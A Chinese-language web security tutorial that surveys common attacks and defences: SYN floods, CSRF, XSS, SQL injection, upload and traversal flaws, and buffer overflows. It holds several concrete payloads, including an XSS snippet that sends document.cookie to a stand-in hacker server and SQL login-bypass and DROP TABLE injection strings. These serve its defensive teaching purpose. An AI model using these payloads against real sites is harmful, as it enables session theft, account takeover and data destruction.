Web 安全

文章整理自两篇来自Tencent和Microsoft的作者所写的文章，文章出处见本文底部

目录

一、DoS和ddos攻击 3

1、简介 3

2、攻击原理  3

3、防范  4

4、DDoS 5

二、CSRF攻击 6

1、简介 6

2、攻击原理 6

3、防范 7

三、XSS攻击 7

2、攻击原理 7

3、危害  9

4、防范  9

四、SQL注入攻击 10

1、简介 10

2、成因  10

3、攻击方式 10

4、防范  13

五、文件上传下载漏洞 14

1、简介 14

2、攻击原理 14

3、防范  14

六、Info漏洞 14

1、简介 14

2、成因 15

3、危害 15

4、防范 15

七、应用安全 16

1、输入验证 16

2、缓冲区溢出 16

3、标准化 17

八、其他漏洞攻击 18

1、暴露调试文件 18

2、目录遍历 18

九、文章参考及部分内容来源 19

一、DoS和DDoS攻击

1、简介

DoS(Denial of Service)，即拒绝服务，造成远程服务器拒绝服务的行为被称为DoS攻击。其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。

2、攻击原理

图1 TCP三次握手：数据段互换
Client发送连接请求报文，Server接受连接后回复ACK报文，并为这次连接分配资源。Client接收到ACK报文后也向Server发送ACK报文，并分配资源，这样TCP连接就建立了。前两次握手，是为了保证服务端能收接受到客户端的信息并能做出正确的应答；后两次握手，是为了保证客户端能够接收到服务端的信息并能做出正确的应答。建立完TCP三次握手后，Client就可以和Web服务器进行通信了。
在DoS攻击中，攻击者通过伪造ACK数据包，希望Server重传某些数据包，Server根据TCP重转机制，进行数据重传。攻击者利用TCP协议缺陷，通过发送大量的半连接请求，耗费CPU和内存资源。实现方式如下图：

图2 攻击者伪造ACK数据包，发送大量的半连接请求

Web服务器在未收到客户端的确认包时，会重发请求包一直到链接超时，才将此条目从未连接队列删除。攻击者再配合IP欺骗，SYN攻击会达到很好的效果。通常攻击者在短时间内伪造大量不存在的IP地址，向服务器不断地发送SYN包，服务器回复确认包，并等待客户的确认，由于源地址是不存在的，服务器需要不断的重发直至超时，这些伪造的SYN包将长时间占用未连接队列，正常的SYN 请求被丢弃，目标系统运行缓慢，严重者引起网络堵塞甚至系统瘫痪。
SYN攻击的问题就出在TCP连接的三次握手中，假设一个用户向服务器发送了SYN报文后突然死机或掉线，那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的，从而导致第三次握手无法完成。在这种情况下服务器端一般会重试，即再次发送SYN+ACK给客户端，并等待一段时间后丢弃这个未完成的连接。这段时间的长度我们称为SYN Timeout，一般来说这个时间是分钟的数量级，大约为30秒到2分钟。一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源，即数以万计的半连接，将会对服务器的CPU和内存造成极大的消耗。若服务器的TCP/IP栈不够强大，最后的结果往往是堆栈溢出崩溃。实际上，就算服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求，导致用户的正常请求失去响应。

3、防范
第一种是缩短SYN Timeout时间，及时将超时请求丢弃，释放被占用CPU和内存资源。
第二种是限制同时打开的SYN半连接数目，关闭不必要的服务。
第三种方法是设置SYN Cookie，给每一个请求连接的IP地址分配一个Cookie。如果短时间内连续受到某个IP的重复SYN报文，就认定是受到了攻击，以后从这个IP地址来的包会被一概丢弃。
一般来说，第三种方法在防范该类问题上表现更佳。同时可以在Web服务器端采用分布式组网、负载均衡、提升系统容量等可靠性措施，增强总体服务能力。

4、DDoS
DDoS(Distributed Denial of Service，分布式拒绝服务)是DoS攻击的一种方法。攻击指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动ddos攻击，从而成倍地提高拒绝服务攻击的威力。阻止合法用户对正常网络资源的访问，从而达成攻击者不可告人的目的。DDoS的攻击策略侧重于通过很多“僵尸主机”，向受害主机发送大量看似合法的网络包，从而造成网络阻塞或服务器资源耗尽而导致拒绝服务。

图3 DDoS攻击创建“僵尸主机”的过程

从上图可知，DDOS是利用一批受控制的僵尸主机向一台服务器主机发起的攻击，其攻击的强度和造成的威胁要比DOS严重很多，更具破坏性。
对于DDoS攻击，我们可以做如下防范：
(1) 反欺骗：对数据包的地址及端口的正确性进行验证，同时进行反向探测。
(2) 协议栈行为模式分析：每个数据包类型需要符合RFC规定，这就好像每个数据包都要有完整规范的着装，只要不符合规范，就自动识别并将其过滤掉。
(3) 特定应用防护：非法流量总是有一些特定特征的，这就好比即便你混进了顾客群中，但你的行为还是会暴露出你的动机，比如老重复问店员同一个问题，老做同样的动作，这样你仍然还是会被发现的。
(4) 带宽控制：真实的访问数据过大时，可以限制其最大输出的流量，以减少下游网络系统的压力。 

二、CSRF攻击

1、简介

CSRF(Cross Site Request Forgery)即跨站请求伪造，是一种常见的Web攻击，但很多开发者对它很陌生。CSRF也是Web安全中最容易被忽略的一种攻击。

2、攻击原理

图4 CSRF攻击过程的示例图

受害者用户登录网站A，输入个人信息，在本地保存服务器生成的cookie。攻击者构建一条恶意链接，例如对受害者在网站A的信息及状态进行操作，典型的例子就是转账。受害者打开了攻击者构建的网页B，浏览器发出该恶意连接的请求，浏览器发起会话的过程中发送本地保存的cookie到网址A，A网站收到cookie，以为此链接是受害者发出的操作，导致受害者的身份被盗用，完成攻击者恶意的目的。
举个简单的例子来说明下CSRF的危害。用户登陆某银行网站，以Get请求的方式完成到另一银行的转账，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000。攻击者可构造另一危险链接http://www.mybank.com/Transfer.php?toUserId=100&money=1000并把该链接通过一定方式发给受害者用户。受害者用户若在浏览器打开此链接，会将之前登陆后的cookie信息一起发送给银行网站，服务器在接收到该请求后，确认cookie信息无误，会完成改请求操作，造成攻击行为完成。攻击者可以构造CGI的每一个参数，伪造请求。这也是存在CSRF漏洞的最本质原因。

3、防范

(1) 验证码。应用程序和用户进行交互过程中，特别是账户交易这种核心步骤，强制用户输入验证码，才能完成最终请求。在通常情况下，验证码够很好地遏制CSRF攻击。
但增加验证码降低了用户的体验，网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段，在关键业务点设置验证码。
(2) Referer Check。HTTP Referer是header的一部分，当浏览器向web服务器发送请求时，一般会带上Referer信息告诉服务器是从哪个页面链接过来的，服务器籍此可以获得一些信息用于处理。可以通过检查请求的来源来防御CSRF攻击。正常请求的referer具有一定规律，如在提交表单的referer必定是在该页面发起的请求。所以通过检查http包头referer的值是不是这个页面，来判断是不是CSRF攻击。
但在某些情况下如从https跳转到http，浏览器处于安全考虑，不会发送referer，服务器就无法进行check了。若与该网站同域的其他网站有XSS漏洞，那么攻击者可以在其他网站注入恶意脚本，受害者进入了此类同域的网址，也会遭受攻击。出于以上原因，无法完全依赖Referer Check作为防御CSRF的主要手段。但是可以通过Referer Check来监控CSRF攻击的发生。
(3) Anti CSRF Token。目前比较完善的解决方案是加入Anti-CSRF-Token，即发送请求时在HTTP 请求中以参数的形式加入一个随机产生的token，并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值，会进行校验该请求当中的token和cookie当中的token值是否都存在且相等，才认为这是合法的请求。否则认为这次请求是违法的，拒绝该次服务。
这种方法相比Referer检查要安全很多，token可以在用户登陆后产生并放于session或cookie中，然后在每次请求时服务器把token从session或cookie中拿出，与本次请求中的token 进行比对。由于token的存在，攻击者无法再构造出一个完整的URL实施CSRF攻击。但在处理多个页面共存问题时，当某个页面消耗掉token后，其他页面的表单保存的还是被消耗掉的那个token，其他页面的表单提交时会出现token错误。 

三、XSS攻击
1、简介

XSS(Cross Site Scripting)，跨站脚本攻击。为和层叠样式表(Cascading Style Sheets，CSS)区分开，跨站脚本在安全领域叫做“XSS”。恶意攻击者往Web页面里注入恶意Script代码，当用户浏览这些网页时，就会执行其中的恶意代码，可对用户进行盗取cookie信息、会话劫持等各种攻击。XSS是常见的Web攻击技术之一，由于跨站脚本漏洞易于出现且利用成本低，所以被OWASP列为当前的头号Web安全威胁。

2、攻击原理

图5 XSS攻击过程的示例图

XSS跨站脚本攻击本身对Web服务器没有直接的危害，它借助网站进行传播，使网站上大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL，当受害者在Web中打开该URL的时候，恶意脚本会在受害者的计算机上悄悄执行。
根据XSS攻击的效果，可以将XSS分为3类：
(1) 反射型XSS(Non-persistent XSS)，服务器接受客户端的请求包，不会存储请求包的内容，只是简单的把用户输入的数据“反射”给浏览器。例如：www.a.com?xss.php?name=
<script>alert(document.cookie)</script>。访问这个链接则会弹出页面的cookie内容，若攻击者把alert改为一个精心构造的发送函数，就可以把用户的cookie偷走。
(2) 存储型XSS(Persistent XSS)，这类XSS攻击会把用户输入的数据“存储”在服务器端，具有很强的稳定性。注入脚本跟反射型XSS大同小异，只是脚本不是通过浏览器à服务器à浏览器这样的反射方式，而是多发生在富文本编辑器、日志、留言、配置系统等数据库保存用户输入内容的业务场景。即用户的注入脚本保存到了数据库里，其他用户进行访问涉及到包含恶意脚本的链接都会中招。由于这段恶意的脚本被上传保存到了服务器，这种XSS攻击就叫做“存储型XSS”。例如：
服务器端代码：<?php $db.set(‘name’, $_GET[‘name’]);?>
HTML页面代码：<?php echo ‘Hi,’ . $db.get[‘name’];?>

图6 存储型XSS攻击过程的示例图

(3) DOM based XSS(Document Object Model XSS)，这类XSS攻击者将攻击脚本注入到DOM 结构里。出现该类攻击的大多原因是含JavaScrip静态HTML页面存在XSS漏洞。例如下面是一段存在DOM类型跨站脚本漏洞的代码：
<script>document.write(window.location.search); </script>
在JS中window.location.search是指URL中?之后的内容，document.write是将内容输出到页面。这时把链接换成 http://localhost/test.php?default=<script>alert(document.cookie)</script>
那用户的cookie就被盗了。上面的例子只是很简单的一种，总结起来是使用了诸如document.write, innerHTML之类的渲染页面方法需要注意参数内容是否是可信任的。

3、危害
(1) 窃取用户信息。黑客可以利用跨站脚本漏洞盗取用户cookie而得到用户在该站点的身份权限。如在DOM树上新增图片，用户点击后会将当前cookie发送到黑客服务器：
var i=document.createElement(“img”);
document.body.appendChild(i);
i.src = “http://www.hackerserver.com/?c=” + document.cookie;
(2) 劫持浏览器会话来执行恶意操作，如进行非法转账、强制发表日志或电子邮件等。
(3) 强制弹广告页，刷流量和点击率。
(4) 传播跨站脚本蠕虫。如著名的Samy (XSS)蠕虫攻击、新浪微博蠕虫攻击。

4、防范
(1) 输入过滤。永远不要相信用户的输入，对用户输入的数据做一定的过滤。如输入的数据是否符合预期的格式，比如日期格式，Email格式，电话号码格式等等。这样可以初步对XSS漏洞进行防御。
上面的措施只在web端做了限制，攻击者通抓包工具如Fiddler还是可以绕过前端输入的限制，修改请求注入攻击脚本。因此，后台服务器需要在接收到用户输入的数据后，对特殊危险字符进行过滤或者转义处理，然后再存储到数据库中。
(2) 输出编码。服务器端输出到浏览器的数据，可以使用系统的安全函数来进行编码或转义来防范XSS攻击。在PHP中，有htmlentities()和htmlspecialchars()两个函数可以满足安全要求。相应的JavaScript的编码方式可以使用JavascriptEncode。
(3) 安全编码。开发需尽量避免Web客户端文档重写、重定向或其他敏感操作，同时要避免使用客户端数据，这些操作需尽量在服务器端使用动态页面来实现。
(4) HttpOnly Cookie。预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时，将其属性设为HttpOnly，就可以避免该网页的cookie被客户端恶意JavaScript窃取，保护用户cookie信息。
(5)WAF(Web Application Firewall)，Web应用防火墙，主要的功能是防范诸如网页木马、XSS以及CSRF等常见的Web漏洞攻击。由第三方公司开发，在企业环境中深受欢迎。

四、SQL注入攻击

1、简介

SQL注入(SQL Injection)，应用程序在向后台数据库传递SQL(Structured Query Language，结构化查询语言)时，攻击者将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。
在了解SQL注入前，我们先认识下常用的Web的四层架构图组成：

图7 Web四层架构示例图

2、成因
(1) 转义字符处理不当。特别是输入验证和单引号处理不当。用户简单的在url页面输入一个单引号，就能快速识别Web站点是否易收到SQL注入攻击。
(2) 后台查询语句处理不当。开发者完全信赖用户的输入，未对输入的字段进行判断和过滤处理，直接调用用户输入字段访问数据库。(3) SQL语句被拼接。攻击者构造精心设计拼接过的SQL语句，来达到恶意的目的。如构造语句：select * from users where userid=123; DROP TABLE users;直接导致user表被删除。

3、攻击方式

(1) 内联SQL注入。向查询注入一些SQL代码后，原来的查询仍然会全部执行。内联SQL注入包含字符串内联SQL注入和数字内联SQL注入。注入方式如下图：

图8 内联SQL注入示例图

攻击者将精心构造的字符串或数字输入插入到SQL语句中，例如如下的用户登陆页面：

图9 有SQL注入风险的用户登陆示例图

(a) 攻击者可在username字段中注入 ‘ or ‘1’=’1′ or ‘1’=’1，password保持为空：
SELECT * FROM login_tbl WHERE username = ‘ ‘ or ‘1’=’1′ or ‘1’=’1′ AND userpwd= ‘ ‘
这样SQL语句查询语句恒为真，服务器会返回login_tbl表里的全部账户名和密码。
(b) 攻击者可在password字段，输入’ or ‘1’=’1：
SELECT * FROM login_tbl WHERE username = ‘ ‘ AND userpwd= ‘ ‘ or ‘1’=’1 ‘
这样SQL语句查询语句恒为真，服务器会返回login_tbl表里的全部账户名和密码。
(c) 攻击者可在username字段中注入 admin’ and 1=1 or ‘1’=’1：
SELECT * FROM login_tbl WHERE username = ‘admin’ and ‘1’=’1′ or ‘1’=’1′ AND userpwd= ‘ ‘
这样构造的SQL语句，服务器会返回admin用户登陆。
常见的字符串内联注入的特征值如下：

图10 字符串内联注入的特征值

常见的数字值内联注入的特征值如下：

图11 数字值内联注入的特征值

(2) 终止式SQL注入。攻击者在注入SQL代码时，通过注释剩下的查询来成功结束该语句。注入方式如下图：

图12 终止式SQL注入示例图

攻击者将精心构造的字符串或数字输入插入到SQL语句中，例如图9的用户登陆页面：
(a) 攻击者可在username字段中注入 ‘ or 1=1; –，password保持为空：
SELECT username, userpwd FROM login_tbl WHERE username=” or 1=1; — ‘ and userpwd=”
这样SQL语句查询语句恒为真，服务器会返回login_tbl表里的全部账户名和密码。
(b) 攻击者可在username字段中注入 admin’  –，或者admin’  #，password保持为空：
SELECT username, userpwd FROM login_tbl WHERE username=’admin’ –‘ and userpwd=”
SELECT username, userpwd FROM login_tbl WHERE username=’admin’ #’ and userpwd=”
这样构造的SQL语句，服务器会返回admin用户登陆。
(c) 攻击者可在username字段中注入 admin’ /*，password输入*/’：
SELECT username, userpwd FROM login_tbl WHERE username=’admin’ /*’ and userpwd=’*/”
这样构造的SQL语句，服务器会返回admin用户登陆。
常见的终止式SQL注入的特征值如下：

图13 终止式SQL注入的特征值

4、防范
(1) 防止系统敏感信息泄露。设置php.ini选项display_errors=off，防止php脚本出错之后，在web页面输出敏感信息错误，让攻击者有机可乘。
(2) 数据转义。设置php.ini选项magic_quotes_gpc=on，它会将提交的变量中所有的’(单引号)，”(双引号)，(反斜杠)，空白字符等都在前面自动加上。或者采用mysql_real_escape()函数或addslashes()函数进行输入参数的转义。
(3) 增加黑名单或者白名单验证。白名单验证一般指，检查用户输入是否是符合预期的类型、长度、数值范围或者其他格式标准。黑名单验证是指，若在用户输入中，包含明显的恶意内容则拒绝该条用户请求。在使用白名单验证时，一般会配合黑名单验证。 

五、文件上传下载漏洞

1、简介

上传漏洞在DVBBS6.0时代被黑客们利用的最为猖獗，利用上传漏洞可以直接得到WEBSHELL，危害等级超级高，现在的入侵中上传漏洞也是常见的漏洞。该漏洞允许用户上传任意文件可能会让攻击者注入危险内容或恶意代码，并在服务器上运行。

下载漏洞主要出现在安全级别设置较高的系统，如系统中一些敏感文件或保密文件被攻击者获取并非法传播。

2、攻击原理

由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型，导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件，并能够将这些文件传递给 PHP 解释器，就可以在远程服务器上执行任意PHP脚本。

下载则是利用网站提供的下载文件功能，或利用系统中的虚拟目录，提交非法路径以期下载服务器上的敏感文件或保密文件。

3、防范
(1) 检查服务器是否判断了上传文件类型及后缀。
(2) 定义上传文件类型白名单，即只允许白名单里面类型的文件上传。
(3) 文件上传目录禁止执行脚本解析，避免攻击者进行二次攻击。

(4) 对用户提交下载请求进行封装，不提供通过文件名直接下载。

(5) 对虚拟路径或上传文件路径设置 拒绝直接访问 的权限，取消路由映射。 

六、Info漏洞

1、简介

Info漏洞就是CGI把输入的参数原样输出到页面，攻击者通过修改输入参数而达到欺骗用户的目的。 

2、成因

1）CGI参数可以在页面显示。
2）返回的页面具有很强的欺骗性。
3）该页面是对所有用户是公开，可访问的。

3、危害

若在访问量较大的公开页面，如网购、微博或新闻网站，发布反动的政治言论或其他色情词汇等。一方面会影响用户对网购业务的信心，同时也会给网站带来一些政治风险。另外，若是发布欺骗信息，如中奖、彩票等，也会对一些用户造成财产损失。

4、防范

较为常见的就是建立脏词库。即对于晒单，评论，昵称等可以被其他用户访问到的地方，进行脏词过滤。对用户的输入词汇，与脏词库中的词汇进行匹配，过滤掉有与脏词库相同的词汇。对于一些面向用户自己的，而其他用户不能看到的页面。可以不对其做脏词处理。 

七、应用安全

1、输入验证

如果攻击者发现，您的应用程序没有设定输入数据的类型、长度、格式或者范围，输入验证就成为了一个安全问题。然后，攻击者就可以提供精心打造的输入，这会损害您的应用程序。

如果网络和主机级的入口点被完全保护起来，应用程序公开的公用接口就成为唯一的攻击源。应用程序输入既是测试系统的一种手段，也是为攻击者执行代码的一种方式。您的应用程序是否盲目地信任输入？

2、缓冲区溢出

缓冲区溢出缺陷可以导致拒绝服务攻击或者代码注入。拒绝服务攻击可以引起进程崩溃；代码注入可以更改程序的执行地址，从而运行攻击者的注入代码。下面的代码片段说明了一种常见的缓冲区溢出缺陷的示例。

void SomeFunction( char *pszInput )

{

  char szBuffer[10];

  // Input is copied straight into the buffer when no type checking is performed

  strcpy(szBuffer, pszInput);

  . . .

}

托管 .NET 代码不受此问题的影响，因为当访问数组时会自动检查数组边界。这样就使得缓冲区溢出攻击的威胁对于托管代码就不算什么问题。但是仍然要关注它，特别是在托管代码调用非托管 API 或者 COM 对象的场合。

帮助防止缓冲区溢出的对策包括：

1) 执行完全的输入验证。这是防护缓冲区溢出的首要对策。尽管您的应用程序中可能存在一个错误，它允许期望的输入超出容器的边界，但意外的输入仍是引起缺陷的主要原因。通过验证输入的类型、长度、格式和范围，对输入进行约束。

2) 如果有可能，限制您的应用程序使用非托管代码，并彻底检查非托管 API，确保输入得到正确验证。

3) 检查调用非托管 API 的托管代码，确保只有适当的数值才能作为参数传递给非托管 API。

利用 /GS 标志来编译用 Microsoft Visual C++_ 开发系统开发的代码。/GS 标志能使编译器将安全检查插入到被编译的代码中。这不是一种预防失败的解决方案，或者要替代专用的验证代码；但是，它确实可以保护您的代码不受众所周知的缓冲区溢出的攻击。有关更多信息，请参阅 .NET Framework 产品文档：http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vccore/html/vclrfGSBufferSecurity.asp  和 Microsoft 知识库文章 325483“支持 WebCast：编译器安全检查：/GS 编译器开关”，网址为： http://support.microsoft.com/default.aspx?scid=325483。

通过缓冲区溢出注入代码的示例

攻击者可以利用缓冲区溢出缺陷来注入代码。利用这种攻击，恶意的用户通过提供一个精心构建的输入值，以改写程序的堆栈并修改函数的返回地址，从而利用某个进程中未检查的缓冲区。这就使执行跳到了攻击者的注入代码处。

通常，攻击者的代码最终在进程的安全上下文处运行。这就强调了使用最低特权进程帐户的重要性。如果当前的线程正在模拟，攻击者代码最终就会在该线程的模拟标记定义的安全上下文处运行。通常，攻击者做的第一件事就是调用 RevertToSelf API，以恢复攻击者希望具有更高特权的进程级安全上下文。

确信您已验证了输入的类型和长度，特别是在调用非托管代码之前，因为非托管代码特别易受缓冲区溢出的影响。

3、标准化

将不同形式的输入转化成相同的标准名称（规范名称），这被称为标准化。如果代码是根据传递给程序的资源名称（它作为输入）来进行安全决策，这样的代码就特别容易受到标准化问题的影响。文件、路径和 URL 都是容易受标准化影响的资源类型，因为每种情况都有许多表示相同名称的不同方法。文件名称也有这样的问题。例如，可以将一个文件表示为：

c:tempsomefile.dat

somefile.dat

c:tempsubdir..somefile.dat

c:  temp   somefile.dat

..somefile.dat

理想情况下，代码不予接受文件名输入。如果确实要接受，应当在进行安全决策前将该名称转换成规范形式的名称，例如是否同意或者拒绝访问指定的文件。

针对标准化问题的对策包括：

1）尽可能避免将文件名称作为输入，而是使用最终用户不能更改的绝对文件路径。

2）确信文件名称格式正确（如果必须接受将文件名称作为输入的话），并且要在应用程序上下文内对其进行验证。例如，检查它们是否在您的应用程序的目录层次结构内。

3） 确保字符编码设置正确，以限制输入的表示方法。检查您的应用程序的 Web.config 是否已经在 <globalization> 元素中设置 requestEncoding 与 responseEncoding 属性。

八、其他漏洞攻击

1、暴露调试文件

1）原理

程序员处于测试目的或便于开发的目的，在网站上创建一些调试界面，这些页面可移植性自定义的SQL语句，或用代码读取敏感信息显示出来（比如数据库账号密码，远程接口数据）

2）危害

数据库被恶意篡改，数据丢失，文件受损等

3）防范

1. 不允许代码读取任何敏感信息
2. 调试性质的代码，执行的数据都必须硬编码，不允许外部传入。
3. 测试接口必须包含权限或调用限制，常用文件名如 test.aspx 等容易被猜测的，使用后马上销毁。

2、目录遍历

1）原理

利用Web服务器软件漏洞，通过“../../”穿越服务器文件目录，访问或执行服务器上的文件，形成攻击。

2）防范

限制直接访问站点目录，路由配置可改为前端映射。

3、敏感信息窃取

1）原理

敏感数据遭受各种威胁。试图查看或者更改敏感数据的攻击目标是持久性存储区和网络。对敏感数据的主要威胁包括：

a. 访问存储区的敏感数据

b. 网络窃听

c. 篡改数据

2）防范

必须要保护存储区的敏感数据，以防止恶意的或者其他的用户访问和读取这些数据。

保护存储区的敏感数据的对策包括：

a. 对包含敏感数据的持久性数据存储区使用受限 ACL。

b. 存储加密数据。

c. 使用基于身份和角色的授权，确保只有具有适当授权级别的用户才允许访问敏感数据。用基于角色的安全机制来区分用户，谁可以查看数据，谁可以更改数据。

九、文章参考及部分内容来源

·MSDN《Web安全威胁及对策》 https://msdn.microsoft.com/zh-cn/library/aa302418.aspx

·Tencent《Web安全知多少》http://wetest.qq.com/lab/view/136.html

原文链接：https://www.cnblogs.com/lxmajs/p/6860998.html